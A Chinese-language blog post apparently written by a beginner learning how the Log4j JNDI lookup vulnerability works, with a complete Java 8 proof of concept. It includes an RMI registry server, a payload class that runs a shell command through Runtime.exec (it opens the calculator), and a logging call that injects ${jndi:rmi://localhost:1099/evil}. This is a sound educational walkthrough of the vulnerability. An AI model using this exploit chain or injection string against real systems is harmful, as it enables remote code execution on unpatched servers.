log4j的安全漏洞刷屏了,公司要求排查各个项目,然后进行改正。小白不太懂,所以也趁机学习了下漏洞原理。
log4j的这个漏洞主要是因为lookup的机制,允许日志中通过${}的方式进行属性注入
这次引发大家狂欢的主要是jndi注入的问题,jndi我都没咋用过,补了下知识。简单理解下,就是类似spirng容器,是一个命名服务容器,能根据名称自动查找服务。支持jdbc、ldap、rmi等各种类型,不同类型有不同的查找方式,就是不同的实现类。
问题主要在于rmi这块,rmi是远程调用服务,jndi支持通过url直接下载远程class文件的方式去加载执行服务。
比如rmi client去lookupjndi:rmi://localhost:1099/evil
,就会去localhost:1099(本地启动的server,维护一个注册表registry)获取name为evil的对象。那么只要小明在本地1099端口启个服务,然后服务的refisgry中注册自己自定义的一个对象,然后rmi client去通过jndi:rmi://localhost:1099/evil
去获取registry中的evil的对象的时候,就会先从小明本地的1099端口那个服务中查到小明自定义对象的代码,然后序列化传输到rmi client再进行反序列化并初始化,就会执行对象的一些构造函数和static方法之类的,小明如果在构造函数和static方法中写了恶意代码,就能轻而易举的劫持你的系统。
log4j在解析${jndi:rmi://localhost:1099/evil}
,也会触发lookup操作,作为一个rmi client去localhost:1099服务获取name为evil的对象,所以就会造成log4j所在的机器也就是大家用了log4j的jvm进程会作为一个rmi client去下载localhost:1099中注册的evil对象并初始化。这就是漏洞产生的原因。
下面贴几个代码,大家可以自己测一下。(采用的java8环境)
小明本地起的维护registry的服务:
package com.example.demo.rmi;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Reference reference=new Reference("com.example.demo.hack.HackCommand","com.example.demo.hack.HackCommand","http://localhost:8080/");
ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
LocateRegistry.createRegistry(1099).bind("evil",referenceWrapper);
}
}
小明本地的黑客命令:
package com.example.demo.hack;
import java.io.IOException;
public class HackCommand {
public HackCommand() throws IOException {
System.out.println("执行本地的黑客指令!!!!");
Runtime rt = Runtime.getRuntime();
String property = System.getProperty("os.name");
if ("Mac OS X".equals(property)) {
String[] commands = {"/bin/sh", "-c", "open /System/Applications/Calculator.app"};
rt.exec(commands);
}else {
rt.exec("cmd /c calc");
}
}
}
我们代码中用到的log4j打印用户名的时候,被小明利用注入了${jndi:rmi://localhost:1099/evil}
package com.example.demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.naming.Context;
public class Log4jTest {
private static final Logger logger= LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String input="${jndi:rmi://localhost:1099/evil}";
logger.error("input,{}",input);
}
}
最终结果:万恶的小明擅自打开了我们的计算器